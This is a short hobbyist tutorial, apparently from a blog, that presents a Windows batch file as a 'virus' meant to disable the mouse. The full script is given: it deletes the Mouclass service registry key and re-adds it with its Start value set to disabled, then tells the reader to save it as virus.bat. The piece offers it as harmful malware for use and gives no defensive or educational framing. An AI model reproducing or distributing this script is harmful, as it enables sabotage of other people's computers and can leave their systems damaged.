Make a virus that disable Mouse

I had previously posted on making different batch files like matrix
effect, opening no of websites with one click which were interesting
and completely harmless but today we will be making a batch virus
which is harmfull it will disable your mouse so think before trying it
on yourself.

Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
Save this file as virus.bat
Done you just created your virus.
